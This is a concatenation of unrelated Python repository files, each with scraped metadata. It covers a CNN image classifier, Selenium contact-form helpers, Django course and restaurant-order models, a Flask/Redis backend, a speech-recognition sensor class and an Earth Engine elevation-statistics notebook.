Classification accuracy is the number of correctly classified # images divided by the total number of images in the test-set. acc = float(correct_sum) / num_test # Print the accuracy. msg = "Accuracy on Test-Set: {0:.1%} ({1} / {2})" print(msg.format(acc, correct_sum, num_test)) # Plot some examples of mis-classifications, if desired. if show_example_errors: print("Example errors:") plot_example_errors(cls_pred=cls_pred, correct=correct) # Plot the confusion matrix, if desired. if show_confusion_matrix: print("Confusion Matrix:") plot_confusion_matrix(cls_pred=cls_pred) #Evaluation and optimization optimize(num_iterations=10000) print(acc_list) # Plot loss over time plt.plot(iter_list, acc_list, 'r--', label='CNN training accuracy per iteration', linewidth=4) plt.title('CNN training accuracy per iteration') plt.xlabel('Iteration') plt.ylabel('CNN training accuracy') plt.legend(loc='upper right') plt.show() # Plot loss over time plt.plot(iter_list, val_acc_list, 'r--', label='CNN validation accuracy per iteration', linewidth=4) plt.title('CNN validation accuracy per iteration') plt.xlabel('Iteration') plt.ylabel('CNN validation accuracy') plt.legend(loc='upper right') plt.show() print_validation_accuracy(show_example_errors=True, show_confusion_matrix=True) plt.axis('off') test_cat = cv2.imread('Test_image/cat.jpg') test_cat = cv2.resize(test_cat, (img_size, img_size), cv2.INTER_LINEAR) / 255 preview_cat = plt.imshow(test_cat.reshape(img_size, img_size, num_channels)) test_dog = cv2.imread('Test_image/dog.jpg') test_dog = cv2.resize(test_dog, (img_size, img_size), cv2.INTER_LINEAR) / 255 preview_dog = plt.imshow(test_dog.reshape(img_size, img_size, num_channels)) def sample_prediction(test_im): feed_dict_test = { x: test_im.reshape(1, img_size_flat), y_true: np.array([[1, 0]]) } test_pred = session.run(y_pred_cls, feed_dict=feed_dict_test) return classes[test_pred[0]] print("Predicted class for test_cat: {}".format(sample_prediction(test_cat))) print("Predicted class for test_dog: {}".format(sample_prediction(test_dog))) session.close()

[ "sagarsawant@packtpub.com" ]

sagarsawant@packtpub.com

6fc944fca5a95025ed8dab29e533b8023e0b67d7

1c849dda331977bbfc1c2c1f511bc191a577c37a

/fixture/contact.py

749ab3b5914129a15cd811120e21181eea887fff

[ "Apache-2.0" ]

permissive

Kassaidre/python-training

84255d46f5c347063bdfdf5ae16aacabdd86ba50

c8e54796d78dd7de84ba57cc8cfbeecd1298f466

refs/heads/master

2016-08-12T19:27:12.531516

2016-03-11T16:40:24

50,449,832

0

null

UTF-8

Python

false

7,719

py

from model.contact import Contact import re class ContactHelper: def __init__(self, app): self.app = app def create(self, contact): wd = self.app.wd # init contact creation wd.find_element_by_link_text("add new").click() self.fill_contact_form(contact) # submit contact creation wd.find_element_by_name("submit").click() self.return_to_home_page() self.contact_cache = None def fill_contact_form(self, contact): wd = self.app.wd self.change_field_value("firstname", contact.firstname) self.change_field_value("middlename", contact.middlename) self.change_field_value("lastname", contact.lastname) self.change_field_value("nickname", contact.nickname) self.change_field_value("title", contact.title) self.change_field_value("company", contact.company) self.change_field_value("address", contact.address) self.change_field_value("home", contact.home) self.change_field_value("mobile", contact.mobile) self.change_field_value("work", contact.work) self.change_field_value("fax", contact.fax) self.change_field_value("email", contact.email) self.change_field_value("email2", contact.email2) self.change_field_value("email3", contact.email3) self.change_field_value("homepage", contact.homepage) self.change_field_value("byear", contact.byear) self.change_field_value("ayear", contact.ayear) self.change_field_value("address2", contact.address2) self.change_field_value("phone2", contact.phone2) self.change_field_value("notes", contact.notes) def delete_contact_by_index(self, index): wd = self.app.wd self.select_contact_by_index(index) wd.find_element_by_xpath("//div[@id='content']/form[2]/div[2]/input").click() wd.switch_to_alert().accept() self.contact_cache = None def delete_contact_by_id(self, id): wd = self.app.wd self.select_contact_by_id(id) wd.find_element_by_xpath("//div[@id='content']/form[2]/div[2]/input").click() wd.switch_to_alert().accept() self.return_to_home_page() self.contact_cache = None def delete_first_contact(self): self.delete_contact_by_index(0) def modify_contact_by_index(self, index, new_contact_data): wd = self.app.wd all_rows = wd.find_elements_by_name("entry") row = all_rows[index] cells = row.find_elements_by_tag_name("td") cells[7].find_element_by_tag_name("a").click() self.fill_contact_form(new_contact_data) #submit modification wd.find_element_by_name("update").click() wd.find_element_by_link_text("home").click() self.contact_cache = None def add_contact_to_group(self, id): wd = self.app.wd self.select_contact_by_id(id) wd.find_element_by_xpath("//div[@class='right']/select//option[2]").is_selected() wd.find_element_by_xpath("//div[@class='right']/select//option[2]").click() wd.find_element_by_name("add").click() self.return_to_home_page() def delete_contact_from_group(self, id): wd = self.app.wd wd.find_element_by_xpath("//form[@id='right']/select//option[4]").is_selected() wd.find_element_by_xpath("//form[@id='right']/select//option[4]").click() self.select_contact_by_id(id) wd.find_element_by_name("remove").click() self.return_to_home_page() def modify_first_contact(self): self.modify_contact_by_index(0) def return_to_home_page(self): wd = self.app.wd wd.find_element_by_link_text("home").click() def change_field_value(self, field_name, text): wd = self.app.wd if text is not None: wd.find_element_by_name(field_name).click() wd.find_element_by_name(field_name).clear() wd.find_element_by_name(field_name).send_keys(text) def select_first_item(self): wd = self.app.wd wd.find_element_by_name("selected[]").click() def select_contact_by_index(self, index): wd = self.app.wd wd.find_elements_by_name("selected[]")[index].click() def select_contact_by_id(self, id): wd = self.app.wd wd.find_element_by_css_selector("input[value='%s']" % id).click() def count(self): wd = self.app.wd self.return_to_home_page() return len(wd.find_elements_by_name("selected[]")) contact_cache = None def get_contact_list(self): if self.contact_cache is None: wd = self.app.wd self.return_to_home_page() self.contact_cache = [] for element in wd.find_elements_by_name("entry"): cells = element.find_elements_by_tag_name("td") firstname = cells[2].text lastname = cells[1].text # id = element.find_element_by_name("selected[]").get_attribute("value") id = cells[0].find_element_by_tag_name("input").get_attribute("value") all_phones = cells[5].text all_emails = cells[4].text address = cells[3].text self.contact_cache.append(Contact(firstname=firstname, lastname=lastname, id=id, all_phones_from_home_page=all_phones, all_emails_from_home_page=all_emails, address=address)) return list(self.contact_cache) def open_contact_to_edit_by_index(self, index): wd = self.app.wd self.return_to_home_page() row = wd.find_elements_by_name("entry")[index] cell = row.find_elements_by_tag_name("td")[7] cell.find_element_by_tag_name("a").click() def open_contact_view_by_index(self, index): wd = self.app.wd self.return_to_home_page() row = wd.find_elements_by_name("entry")[index] cell = row.find_elements_by_tag_name("td")[6] cell.find_element_by_tag_name("a").click() def get_contact_info_from_edit_page(self, index): wd = self.app.wd self.open_contact_to_edit_by_index(index) firstname = wd.find_element_by_name("firstname").get_attribute("value") lastname = wd.find_element_by_name("lastname").get_attribute("value") id = wd.find_element_by_name("id").get_attribute("value") home = wd.find_element_by_name("home").get_attribute("value") mobile = wd.find_element_by_name("mobile").get_attribute("value") work = wd.find_element_by_name("work").get_attribute("value") phone2 = wd.find_element_by_name("phone2").get_attribute("value") email = wd.find_element_by_name("email").get_attribute("value") email2 = wd.find_element_by_name("email2").get_attribute("value") email3 = wd.find_element_by_name("email3").get_attribute("value") address = wd.find_element_by_name("address").get_attribute("value") return Contact(firstname=firstname, lastname=lastname, id=id, home=home, mobile=mobile, work=work, phone2=phone2, email=email, email2=email2, email3=email3, address=address) def get_contact_from_view_page(self, index): wd = self.app.wd self.open_contact_view_by_index(index) text = wd.find_element_by_id("content").text home = re.search("H: (.*)", text).group(1) mobile = re.search("M: (.*)", text).group(1) work = re.search("W: (.*)", text).group(1) phone2 = re.search("P: (.*)", text).group(1) return Contact(home=home, mobile=mobile, work=work, phone2=phone2)

[ "juliette_n@mail.ru" ]

juliette_n@mail.ru

2cc0955608d1892183da69044d8e2b0b20f5dac9

80cd5713fb2d844ee235609911643c43e306da75

/resize_category.py

eafd2fab720b416d9bf6282e0c412b920d7bdef2

[ "Apache-2.0" ]

permissive

aurora-feng/aurora-feng.github.io

becd96d8140488d3b75f09780b5d59f028903db4

6d65564acabedade72fdda56dbada9c13a3ec99b

refs/heads/master

2020-06-02T22:02:09.619722

2019-06-23T14:26:15

191,321,370

1

0

null

UTF-8

Python

false

1,333

py

import os import shutil from PIL import Image from resizeimage import resizeimage thub_size = (400, 289) reg_size = (600, 450) _origin_path = '/Users/zhibin.jiang/Downloads/temp/{cate}/' new_path = '/Users/zhibin.jiang/Learning/aurora_profolio/img/{cate}/' def main(): for cate in ['cate_flower', 'cate_life', 'cate_human', 'cate_view', 'cate_painting']: origin_path = _origin_path.format(cate=cate) if not os.path.exists(new_path.format(cate=cate)): os.mkdir(new_path.format(cate=cate)) for image_name in os.listdir(origin_path): if not image_name.endswith('g'): continue image_path = origin_path + image_name print("Processing: ", image_path) with open(image_path, 'rb') as f_rb: with Image.open(f_rb) as image: prefix, postfix = image_name.split('.')[0].strip('_'), image_name.split('.')[-1] reg = new_path.format(cate=cate) + '{}.{}'.format(prefix, postfix) shutil.copy(image_path, reg) thum = new_path.format(cate=cate) + '{}-thumbnail.{}'.format(prefix, postfix) thumb = resizeimage.resize_cover(image, thub_size) thumb.save(thum, image.format) if __name__ == '__main__': main()

[ "zhibin.jiang@ihandysoft.com" ]

zhibin.jiang@ihandysoft.com

9ac4fffb2f1957b093e87dc961375512e49b038c

63821348be843b185ce6887d0f3027686f157164

/simplemooc/simplemooc/courses/models.py

ef5748d97046fe21cc5a8a1eb470f7ad65860861

[]

no_license

sadijrp/simplemooc-course

c79c295bbeb0b74b7ad622b5765fefd75274d45b

df15539ded0349e0dd8ce17744a03edb99a83ea6

refs/heads/master

2020-04-16T20:12:11.935589

2019-08-06T19:28:10

165,890,333

0

null

UTF-8

Python

false

6,208

py

from django.db import models from django.urls import reverse from django.conf import settings from django.utils import timezone from simplemooc.core.mail import send_mail_template class CourseManager(models.Manager): def search(self, query): return self.get_queryset().filter( models.Q(name__icontains=query) | models.Q(description__icontains=query) ) class Course(models.Model): name = models.CharField('Nome', max_length=100) slug = models.SlugField('Atalho') description = models.TextField('Descrição', blank=True) about = models.TextField('Sobre o Curso', blank=True) start_date = models.DateField( 'Data de ínicio', null=True, blank=True ) image = models.ImageField( upload_to='courses/images', verbose_name='Imagem', null=True, blank=True ) created_at = models.DateTimeField( 'Criado em', auto_now_add=True ) updated_at = models.DateTimeField( 'Atualizado em', auto_now=True ) objects = CourseManager() def __str__(self): return self.name def get_absolute_url(self): return reverse('courses:details', args=[self.slug]) def released_lessons(self): today = timezone.now().date() return self.lessons.filter(release_date__lte=today) class Meta: verbose_name = "Curso" verbose_name_plural = "Cursos" ordering = ['name'] class Enrollment(models.Model): STATUS_CHOICES = ( (0, 'Pendente'), (1, 'Aprovado'), (2, 'Cancelado') ) user = models.ForeignKey( settings.AUTH_USER_MODEL, verbose_name="Usuário", related_name="userenrollments", on_delete=models.PROTECT ) course = models.ForeignKey( Course, verbose_name="Curso", related_name="courseenrollments", on_delete=models.PROTECT ) status = models.IntegerField( verbose_name="Situação", choices=STATUS_CHOICES, default=0, blank=True ) created_at = models.DateTimeField( verbose_name='Criado em', auto_now_add=True ) updated_at = models.DateTimeField( verbose_name='Atualizado em', auto_now=True ) def active(self): self.status = 1 self.save() def is_approved(self): return self.status == 1 class Meta: verbose_name = "Inscrição" verbose_name_plural = "Inscrições" unique_together = (('user', 'course'),) class Announcement(models.Model): course = models.ForeignKey( Course, verbose_name='Curso', on_delete=models.CASCADE, related_name='announcements') title = models.CharField('Título', max_length=100) content = models.TextField('Conteúdo') created_at = models.DateTimeField( verbose_name='Criado em', auto_now_add=True ) updated_at = models.DateTimeField( verbose_name='Atualizado em', auto_now=True ) def __str__(self): return self.title class Meta: verbose_name = 'Anúncio' verbose_name_plural = 'Anúncios' ordering = ['-created_at'] class Comment(models.Model): announcement = models.ForeignKey( Announcement, verbose_name='Anúncio', related_name='comments', on_delete=models.CASCADE) user = models.ForeignKey( settings.AUTH_USER_MODEL, verbose_name='Usuário', on_delete=models.CASCADE) comment = models.TextField('Comentário') created_at = models.DateTimeField( verbose_name='Criado em', auto_now_add=True ) updated_at = models.DateTimeField( verbose_name='Atualizado em', auto_now=True ) class Meta: verbose_name = 'Comentário' verbose_name_plural = 'Comentários' ordering = ['created_at'] class Lesson(models.Model): name = models.CharField('Nome', max_length=100) description = models.TextField('Descrição', blank=True) number = models.IntegerField('Número (ordem)', blank=True, default=1) release_date = models.DateField('Data de Liberação', blank=True, null=True) created_at = models.DateTimeField( verbose_name='Criado em', auto_now_add=True) updated_at = models.DateTimeField( verbose_name='Atualizado em', auto_now=True) course = models.ForeignKey( Course, verbose_name='Curso', related_name='lessons', on_delete=models.CASCADE) def __str__(self): return self.name def is_available(self): if self.release_date: today = timezone.now().date() return self.release_date >= today class Meta: verbose_name = 'Aula' verbose_name_plural = 'Aulas' ordering = ['number'] class Material(models.Model): name = models.CharField('Nome', max_length=100) embedded = models.TextField('Video embedded', blank=True) file = models.FileField( upload_to='lessons/materials', blank=True, null=True) lesson = models.ForeignKey( Lesson, verbose_name='Aula', related_name='materials', on_delete=models.CASCADE) def is_embedded(self): return bool(self.embedded) def __str__(self): return self.name class Meta: verbose_name = 'Material' verbose_name_plural = 'Materias' def post_save_announcement(instance, created, **kwargs): if created: announcement = instance subject = announcement.title context = { 'announcement': announcement } template_name = 'courses/announcement_mail.html' enrollments = Enrollment.objects.filter( course=announcement.course, status=1 ) for enrollment in enrollments: recipient_list = [enrollment.user.email] send_mail_template(subject, template_name, context, recipient_list) models.signals.post_save.connect( post_save_announcement, sender=Announcement, dispatch_uid='post_save_announcement')

[ "sadijrp@gmail.com" ]

sadijrp@gmail.com

70b26f8c54d7d8eb40302ee17781e84cf5a56c14

3eed35781bc9f63c33586f8f2abdcfde8e7bd9bd

/core/config.py

a611537caf766270a7a9177c53ac7ff1fc7ec356

[]

no_license

peilion/OP-backend

6e192f2592c0ae526f69f279bd0ba3023af0e593

13f7499d8727dcf5c866870450b29c829b32b4e6

refs/heads/master

2022-12-13T11:41:33.575868

2020-08-24T02:00:28

207,509,587

14

0

null

2022-12-08T06:54:48

2019-09-10T08:49:47

Python

UTF-8

Python

false

673

py

import os API_V1_STR = "/api/v1" SECRET_KEY = os.urandom(32) DATABASE_CONNECTION_URL = os.getenv("DATABASE_CONNECTION_URL") DATABASE_NAME = os.getenv("DATABASE_NAME") ACCESS_TOKEN_EXPIRE_MINUTES = 60 * 24 * 8 # 60 minutes * 24 hours * 8 days = 8 days SERVER_NAME = os.getenv("SERVER_NAME") SERVER_HOST = os.getenv("SERVER_HOST") BACKEND_CORS_ORIGINS = "http://localhost:9527,http://123.56.7.137" # a string of origins separated by commas, e.g: "http://localhost, http://localhost:4200, http://localhost:3000, http://localhost:8080, http://local.dockertoolbox.tiangolo.com" PROJECT_NAME = "Oil Pump Data Api" TIME_DOMAIN_SUB_SAMPLED_RATIO = 4 TIME_DOMAIN_DECIMAL = 3

[ "peilun.fu117@gmail.com" ]

peilun.fu117@gmail.com

6eb6b15fb8fac618ec7f278c5b9d56ac454ae588

da29482e5394e2e5398351be4cee818d73b5b163

/backend/backend.py

7675078cda620a1e88965cb9cc23eacc002edfb9

[]

no_license

Ishikawa7/kubernetes-simple-flask-app

134ecaedf82941e4b9a137711d15f5eacfdbe518

33cfbcbbdc5085603d2544da913be5e84d234437

refs/heads/master

2022-08-26T05:17:50.409559

2022-08-10T08:14:14

217,856,967

0

null

UTF-8

Python

false

759

py

from flask import Flask, request import http.client import redis app = Flask(__name__) # TODO Set the redis host r = redis.Redis(host="redis-cluster-ip-service") def count_primes(num = 100000): if num < 2: return 0 primes = [2] for n in range(2, num + 1): for p in primes: if n % p == 0: break else: primes.append(n) return str(len(primes)) @app.route("/") def hello(): return "Backend running" @app.route('/bep1') def cpuintensive(): return count_primes() @app.route('/bep2', methods=['POST']) def redisCall(): r.Set("bodyReceived",str(request.data)) return("Successfull!") if __name__ == "__main__": app.run(debug=True,host='0.0.0.0', port=5000)

[ "davidegrimaldi92@gmail.com" ]

davidegrimaldi92@gmail.com

401a554684fd8f2a37ab1c1f51825125ca46d77c

e7de9caf500cb10b726481161f86fb012477b66f

/contacto/migrations/0002_alter_contacto_email.py

63a518a0b0b2fc12015489dfe152222dc5265369

[]

no_license

jdtorres1997/testUseIt

a0b7a95e13a64e1bfbc4c62bec048e2be038eebf

7646125aa50c3f2952fbdcb7ad5251d6684dbf58

refs/heads/main

2023-08-14T05:59:36.228937

2021-10-12T03:20:10

415,361,118

0

null

UTF-8

Python

false

415

py

# Generated by Django 3.2.8 on 2021-10-09 04:37 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('contacto', '0001_initial'), ] operations = [ migrations.AlterField( model_name='contacto', name='email', field=models.EmailField(max_length=254, verbose_name='Correo electrónico'), ), ]

[ "juan.torres.canon@correounivalle.edu.co" ]

juan.torres.canon@correounivalle.edu.co

de43a7611f08d4845ec9c811ad030b61c45a7bd1

07537f48d33b68e7e4dc2684802c203ccfff9ae1

/apps/trader/migrations/0001_initial.py

20655c884cdab95495bdfbddde43f523b499a497

[ "MIT" ]

permissive

Cabelin-Software-Solutions/e-book-trading-club

8108d2974bb69bbd7d3ef64d8646d805a11f4782

61750c8e01b2a0f2bb0eca0318c36f4bcc5cf604

refs/heads/master

2021-01-21T06:05:58.493129

2017-08-31T21:13:11

101,936,129

0

null

2017-08-31T21:13:12

2017-08-30T22:54:59

Python

UTF-8

Python

false

887

py

# -*- coding: utf-8 -*- # Generated by Django 1.11.4 on 2017-08-28 05:18 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='User', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('first_name', models.CharField(max_length=255)), ('last_name', models.CharField(max_length=255)), ('email', models.CharField(max_length=255)), ('password', models.CharField(max_length=255)), ('created_at', models.DateTimeField(auto_now_add=True)), ('updated_at', models.DateTimeField(auto_now=True)), ], ), ]

[ "artemiocabelin@gmail.com" ]

artemiocabelin@gmail.com

f8adcc98d428525a52292932206cab9b028763fb

c9eb50509cec04137bcd4622039678243c285830

/arnold/sensors/microphone.py

63ccc7590de2f43ea68c9842278a31a36a8eb309

[ "BSD-3-Clause" ]

permissive

hacklabza/arnold

63ef9520cd40128330adc987130de9364484cd44

d51f6b751ce6530650555cd33bf707f00b60af59

refs/heads/develop

2023-07-29T13:48:37.442896

2021-10-28T06:00:50

149,396,000

2

0

BSD-3-Clause

2023-07-18T04:04:41

2018-09-19T05:18:49

Python

UTF-8

Python

false

3,764

py

import logging import os from typing import Optional import speech_recognition from arnold import config _logger = logging.getLogger(__name__) class Microphone(object): """A sensor class which initialises the microphone component and add speech recognition and command parsing to Arnold. Args: card_number (int, optional): The microphone device card number. device_index (int, optional): The microphone device index. sample_rate (int, optional): The microphone sample rate. phrase_time_limit (int, optional): How long to listen for a phrase. energy_threshold (int, optional): The microphones energy threshold. google_api_key_path (str, optional): The file path to the json api key. """ def __init__( self, card_number: Optional[int] = None, device_index: Optional[int] = None, sample_rate: Optional[int] = None, phrase_time_limit: Optional[int] = None, energy_threshold: Optional[int] = None, google_api_key_path: Optional[int] = None ) -> None: self.config = config.SENSOR['microphone'] # USB microphone adapter config self.card_number = self.config['card_number'] if card_number is None else card_number self.device_index = self.config['device_index'] if device_index is None else device_index self.sample_rate = sample_rate or self.config['sample_rate'] # Setup logging self._logger = _logger # Speech recognition self.phrase_time_limit = phrase_time_limit or self.config['phrase_time_limit'] self.speech_recogniser = speech_recognition.Recognizer() self.speech_recogniser.energy_threshold = ( energy_threshold or self.config['energy_threshold'] ) # Google Cloud API integration try: self.google_api_key_path = ( google_api_key_path or config.INTEGRATION['google_cloud']['key_path'] ) except KeyError: self.google_api_key = None def listen(self) -> speech_recognition.AudioData: """Records the voice command from the microphone and returns the audio bite. Returns: AudioData: an audio data object of the voice command recorded. """ with speech_recognition.Microphone(sample_rate=self.sample_rate) as source: self.speech_recogniser.adjust_for_ambient_noise(source) self._logger.info('Ready to receive voice commands.') voice_command = self.speech_recogniser.listen( source, phrase_time_limit=self.phrase_time_limit ) return voice_command def recognise_command(self, voice_command: speech_recognition.AudioData) -> Optional[str]: """Takes a voice command audio bite as input and calls the google voice to text service to determine the text command which can be parsed. Args: voice_command (speech_recognition.AudioData): Recorded voice command Returns: Optional[str]: the text command as processed by google speech recognision engine. """ if self.google_api_key_path: google_cloud_credentials = '' with open(os.path.join(config.ROOT_DIR, self.google_api_key_path), 'r') as file: google_cloud_credentials = file.read() return self.speech_recogniser.recognize_google_cloud( voice_command, credentials_json=google_cloud_credentials, language='en-ZA' ) else: self._logger.error( 'Can\'t proceed. Google Cloud API key not found.' ) return ''

[ "jpbydendyk@gmail.com" ]

jpbydendyk@gmail.com

8da6237185e6503c1a44b84a23ce071fc75a6451

f9281982adad378b6c87b4d274aed131e427b1ac

/product.py

f4f0a3950b9b807af7a9d5f78c7520e4169f8116

[]

no_license

AdamDonna/dius-code-challenge

fbc6fc569a8758b3db3da45d2a8c60852ec71d47

bd0487dc3e36c23f64551f7793779d64ae4ca618

refs/heads/master

2022-12-13T10:39:05.451902

2020-09-05T05:34:15

293,010,172

0

null

UTF-8

Python

false

882

py

class BaseProduct: sku = None price = None name = None __subclass_map__ = {} @classmethod def register_product(cls): cls.__subclass_map__[cls.sku] = cls def __init_subclass__(cls, **kwargs): """Register the class in the list of products we have""" super().__init_subclass__(**kwargs) cls.register_product() @classmethod def get_catalog_product(cls, sku): """Get the product in the catalog""" return cls.__subclass_map__.get(sku) class SuperIpad(BaseProduct): sku = 'ipd' price = 549.99 name = 'Super iPad' class MacbookPro(BaseProduct): sku = 'mbp' price = 1399.99 name = 'MacBook Pro' class AppleTV(BaseProduct): sku = 'atv' price = 109.50 name = 'Apple TV' class VGAadapter(BaseProduct): sku = 'vga' price = 30.00 name = 'VGA adapter'

[ "adamdonaghy1994@gmail.com" ]

adamdonaghy1994@gmail.com

2dbfcec6679b3a1d5e552490860e8eae8fee6a3c

8ca045c0b94729222e8f3ffe184c0d4f564418c4

/Image/band_stats.py

5efa9b90869435a090e34c208388ef65ac1eac1a

[ "MIT" ]

permissive

levi-manley/earthengine-py-notebooks

bc77632ca22ca85c0092c18f1eb8321abfbe874a

f5a888ddb6834f164e7399b20c683fb9cf604465

refs/heads/master

2021-01-02T12:17:27.974005

2020-02-09T02:59:20

null

0

null

UTF-8

Python

false

4,615

py

''' <table class="ee-notebook-buttons" align="left"> <td><a target="_blank" href="https://github.com/giswqs/earthengine-py-notebooks/tree/master/Image/band_stats.ipynb"><img width=32px src="https://www.tensorflow.org/images/GitHub-Mark-32px.png" /> View source on GitHub</a></td> <td><a target="_blank" href="https://nbviewer.jupyter.org/github/giswqs/earthengine-py-notebooks/blob/master/Image/band_stats.ipynb"><img width=26px src="https://upload.wikimedia.org/wikipedia/commons/thumb/3/38/Jupyter_logo.svg/883px-Jupyter_logo.svg.png" />Notebook Viewer</a></td> <td><a target="_blank" href="https://mybinder.org/v2/gh/giswqs/earthengine-py-notebooks/master?filepath=Image/band_stats.ipynb"><img width=58px src="https://mybinder.org/static/images/logo_social.png" />Run in binder</a></td> <td><a target="_blank" href="https://colab.research.google.com/github/giswqs/earthengine-py-notebooks/blob/master/Image/band_stats.ipynb"><img src="https://www.tensorflow.org/images/colab_logo_32px.png" /> Run in Google Colab</a></td> </table> ''' # %% ''' ## Install Earth Engine API Install the [Earth Engine Python API](https://developers.google.com/earth-engine/python_install) and [geehydro](https://github.com/giswqs/geehydro). The **geehydro** Python package builds on the [folium](https://github.com/python-visualization/folium) package and implements several methods for displaying Earth Engine data layers, such as `Map.addLayer()`, `Map.setCenter()`, `Map.centerObject()`, and `Map.setOptions()`. The magic command `%%capture` can be used to hide output from a specific cell. Uncomment these lines if you are running this notebook for the first time. ''' # %% # %%capture # !pip install earthengine-api # !pip install geehydro # %% ''' Import libraries ''' # %% import ee import folium import geehydro # %% ''' Authenticate and initialize Earth Engine API. You only need to authenticate the Earth Engine API once. Uncomment the line `ee.Authenticate()` if you are running this notebook for the first time or if you are getting an authentication error. ''' # %% # ee.Authenticate() ee.Initialize() # %% ''' ## Create an interactive map This step creates an interactive map using [folium](https://github.com/python-visualization/folium). The default basemap is the OpenStreetMap. Additional basemaps can be added using the `Map.setOptions()` function. The optional basemaps can be `ROADMAP`, `SATELLITE`, `HYBRID`, `TERRAIN`, or `ESRI`. ''' # %% Map = folium.Map(location=[40, -100], zoom_start=4) Map.setOptions('HYBRID') # %% ''' ## Add Earth Engine Python script ''' # %% # get highest value def maxValue(img, scale=30): max_value = img.reduceRegion(**{ 'reducer': ee.Reducer.max(), 'geometry': img.geometry(), 'scale': scale, 'maxPixels': 1e9 }) return max_value # get lowest value def minValue(img, scale=30): min_value = img.reduceRegion(**{ 'reducer': ee.Reducer.min(), 'geometry': img.geometry(), 'scale': scale, 'maxPixels': 1e9 }) return min_value # get mean value def meanValue(img, scale=30): mean_value = img.reduceRegion(**{ 'reducer': ee.Reducer.mean(), 'geometry': img.geometry(), 'scale': scale, 'maxPixels': 1e9 }) return mean_value # get standard deviation def stdValue(img, scale=30): std_value = img.reduceRegion(**{ 'reducer': ee.Reducer.stdDev(), 'geometry': img.geometry(), 'scale': scale, 'maxPixels': 1e9 }) return std_value dataset = ee.Image('USGS/NED') dem = dataset.select('elevation') # dem = ee.Image('srtm90_v4') vis_params = {'min': 0, 'max': 3000} Map.addLayer(dem, vis_params, 'NED', False) roi = ee.Geometry.Polygon( [[[-120.18204899532924, 38.53481618819663], [-120.18204899532924, 36.54889033300136], [-116.75431462032924, 36.54889033300136], [-116.75431462032924, 38.53481618819663]]]) image = dem.clip(roi) Map.centerObject(image, 9) Map.addLayer(image, vis_params, 'DEM') scale = image.projection().nominalScale() print("Resolution: ", scale.getInfo()) scale = 30 print("Minimum value: ", minValue(image, scale).get('elevation').getInfo()) print("Maximum value: ", maxValue(image, scale).get('elevation').getInfo()) print("Average value: ", meanValue(image, scale).get('elevation').getInfo()) print("Standard deviation: ", stdValue(image, scale).get('elevation').getInfo()) # %% ''' ## Display Earth Engine data layers ''' # %% Map.setControlVisibility(layerControl=True, fullscreenControl=True, latLngPopup=True) Map

[ "giswqs@gmail.com" ]

giswqs@gmail.com

92942d00d79abf7e2bc0aae1efadd4b6ab06f8e4

ec876d7c77aecc45e4ba23463ead7d89a4ea44d7

/ordersystem/ordersystem/apps/orders/models.py

a4f812d87d9211caf31cdca0b4070536e81b9719

[]

no_license

xuyunfeng12388/OrederSystem

c709da33379fccb471e8c9766ac01cc0122dfd26

b033383a1866b39e527f13b36aa027a413a47bdb

refs/heads/master

2022-12-15T04:50:29.657785

2020-03-20T07:07:09

248,689,316

1

0

null

2022-11-22T05:24:47

2020-03-20T07:02:02

Python

UTF-8

Python

false

3,531

py

from django.db import models from ordersystem.utlis.models import BaseModel # Create your models here. class DinnerTable(BaseModel): """餐桌""" TABLE_STATUS_EMU = { "有人": 1, "空闲": 2 } TABLE_STATUS_CHOICES = ( (1, "有人"), (2, "空闲") ) tableName = models.CharField(max_length=25, verbose_name="餐桌名称") tableKey = models.IntegerField(verbose_name='餐桌代号', default=None, unique=True) status = models.SmallIntegerField(choices=TABLE_STATUS_CHOICES, default=2, verbose_name="餐桌状态") class Meta: db_table = 'tb_dinner_table' verbose_name = '餐桌信息' verbose_name_plural = verbose_name def __str__(self): return '%s' % self.tableName class OrderInfo(BaseModel): """ 订单信息 """ PAY_METHODS_ENUM = { "CASE": 1, "ALIPAY": 2, "WEICHAT": 3, } PAY_METHOD_CHOICES = ( (1, "现金"), (2, "支付宝"), (3, "微信") ) ORDER_STATUS_ENUM = { "EDIT": 1, "PREPARE": 2, "UNPAID": 3, "FINISHED": 4, } ORDER_STATUS_CHOICES = ( (1, "可编辑"), (2, "正在备菜"), (3, "待支付"), (4, "已完成"), (5, "取消"), ) order_id = models.CharField(max_length=64, primary_key=True, verbose_name="订单号") tableKey = models.ForeignKey(DinnerTable, on_delete=models.PROTECT, verbose_name="餐桌代号") # address = models.ForeignKey(Address, on_delete=models.PROTECT, verbose_name="收获地址") total_count = models.IntegerField(default=1, verbose_name="商品总数") total_amount = models.DecimalField(max_digits=10, decimal_places=2, verbose_name="商品总金额") # freight = models.DecimalField(max_digits=10, decimal_places=2, verbose_name="运费") pay_method = models.SmallIntegerField(choices=PAY_METHOD_CHOICES, default=1, verbose_name="支付方式") status = models.SmallIntegerField(choices=ORDER_STATUS_CHOICES, default=1, verbose_name="订单状态") comment = models.CharField(default=None, verbose_name="订单备注", max_length=1024) class Meta: db_table = "tb_order_info" verbose_name = '订单基本信息' verbose_name_plural = verbose_name def __str__(self): return '%s: %s' % (self.order_id, self.tableKey) class OrderGoods(BaseModel): """ 订单商品 """ SCORE_CHOICES = ( (0, '0分'), (1, '20分'), (2, '40分'), (3, '60分'), (4, '80分'), (5, '100分'), ) order = models.ForeignKey(OrderInfo, related_name='order_goods', on_delete=models.CASCADE, verbose_name="订单") goods = models.ForeignKey("foods.Foods", on_delete=models.PROTECT, related_name="order_foods", verbose_name="订单商品") count = models.IntegerField(default=1, verbose_name="数量") price = models.DecimalField(max_digits=10, decimal_places=2, verbose_name="单价") evaluate = models.TextField(default="", verbose_name="评价信息") score = models.SmallIntegerField(choices=SCORE_CHOICES, default=5, verbose_name='满意度评分') # is_anonymous = models.BooleanField(default=False, verbose_name='是否匿名评价') is_commented = models.BooleanField(default=False, verbose_name='是否评价了') class Meta: db_table = "tb_order_goods" verbose_name = '订单商品' verbose_name_plural = verbose_name

[ "xuyunfeng12388@163.com" ]

xuyunfeng12388@163.com

92264e50db168c3a7616972a721169c72358ea8f

610ac1da64200c109b9ac48d162058fdd85801aa

/functions/diffbtwsortsorted1.py

7414f4512fc4bedc4ec79e2ebac0b4024a1637d5

[]

no_license

rajdharmkar/Python2.7

3d88e7c76c92bbba7481bce7a224ccc8670b3abb

9c6010e8afd756c16e426bf8c3a40ae2cefdadfe

refs/heads/master

2021-05-03T18:56:36.249812

2019-10-08T00:17:46

120,418,397

